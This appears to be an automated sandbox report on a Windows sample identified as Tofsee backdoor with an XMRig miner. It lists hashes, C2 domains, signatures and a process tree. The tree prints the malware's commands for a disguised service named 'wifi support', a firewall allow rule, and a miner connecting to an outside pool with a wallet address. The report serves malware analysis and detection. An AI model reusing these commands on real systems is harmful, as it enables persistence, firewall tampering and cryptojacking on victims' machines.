Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2023, 11:25

General

  • Target

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe

  • Size

    195KB

  • MD5

    e6633af95778725d06d9adc558c55040

  • SHA1

    3020a3b73ca13402a9bf25ffadd8fe85fa091148

  • SHA256

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e

  • SHA512

    55efc150e23b178ea53f4c3fe24ea4162c56037ad0b03a5817ec2d64401fd0d21fa07717f88abb7f96337f768fed55d3b5c54ccf8eb40002561ea47d9244af12

  • SSDEEP

    3072:gUHMJ/RMC7brSsy0ELqqWq54W22KjCp1dsLXDOQbVYC2:gEM1RD7b2sy0nnqwbjAeLXrbV2

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe
    "C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wovgtpil\
      2⤵
        PID:3060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe" C:\Windows\SysWOW64\wovgtpil\
        2⤵
          PID:428
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wovgtpil binPath= "C:\Windows\SysWOW64\wovgtpil\ntgbuboj.exe /d\"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wovgtpil "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wovgtpil
          2⤵
          • Launches sc.exe
          PID:4580
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3872
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 1040
          2⤵
          • Program crash
          PID:4444
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1980 -ip 1980
        1⤵
          PID:1716
        • C:\Windows\SysWOW64\wovgtpil\ntgbuboj.exe
          C:\Windows\SysWOW64\wovgtpil\ntgbuboj.exe /d"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:832
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4644
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2064
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 832 -s 528
            2⤵
            • Program crash
            PID:3672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 832 -ip 832
          1⤵
            PID:3980

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ntgbuboj.exe

            Filesize

            12.3MB

            MD5

            571364761666f6ef80072e979acd56cd

            SHA1

            fa2811a07f73cadb1c8a42bed1fff5bd1388b4f9

            SHA256

            04b7fcb9703eeadee591650b67acc138dc9adc28f091e60aa4a17a280ce0ef66

            SHA512

            08f96c0e87011e6df726d7c2881365f246659cc81243eb66a989263a6704a937174627d3333e502e78c869e4efe1496867144ecf6fc8109fb4f29ac3e69487c8

          • C:\Windows\SysWOW64\wovgtpil\ntgbuboj.exe

            Filesize

            12.3MB

            MD5

            571364761666f6ef80072e979acd56cd

            SHA1

            fa2811a07f73cadb1c8a42bed1fff5bd1388b4f9

            SHA256

            04b7fcb9703eeadee591650b67acc138dc9adc28f091e60aa4a17a280ce0ef66

            SHA512

            08f96c0e87011e6df726d7c2881365f246659cc81243eb66a989263a6704a937174627d3333e502e78c869e4efe1496867144ecf6fc8109fb4f29ac3e69487c8

          • memory/832-144-0x0000000000400000-0x0000000000574000-memory.dmp

            Filesize

            1.5MB

          • memory/1980-138-0x0000000000400000-0x0000000000574000-memory.dmp

            Filesize

            1.5MB

          • memory/1980-135-0x00000000006D0000-0x00000000006E3000-memory.dmp

            Filesize

            76KB

          • memory/2064-199-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-198-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-197-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-196-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-195-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-194-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-193-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2064-188-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/4644-167-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-173-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-160-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-161-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-162-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-163-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-164-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-165-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-166-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-156-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-169-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-170-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-168-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-171-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-172-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-159-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-174-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-175-0x0000000001B40000-0x0000000001B50000-memory.dmp

            Filesize

            64KB

          • memory/4644-176-0x0000000001BD0000-0x0000000001BD5000-memory.dmp

            Filesize

            20KB

          • memory/4644-179-0x0000000001BD0000-0x0000000001BD5000-memory.dmp

            Filesize

            20KB

          • memory/4644-180-0x0000000007180000-0x000000000758B000-memory.dmp

            Filesize

            4.0MB

          • memory/4644-183-0x0000000007180000-0x000000000758B000-memory.dmp

            Filesize

            4.0MB

          • memory/4644-184-0x0000000001BE0000-0x0000000001BE7000-memory.dmp

            Filesize

            28KB

          • memory/4644-153-0x00000000017F0000-0x00000000017F6000-memory.dmp

            Filesize

            24KB

          • memory/4644-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/4644-149-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/4644-147-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/4644-146-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/4644-145-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/4644-143-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/4644-140-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB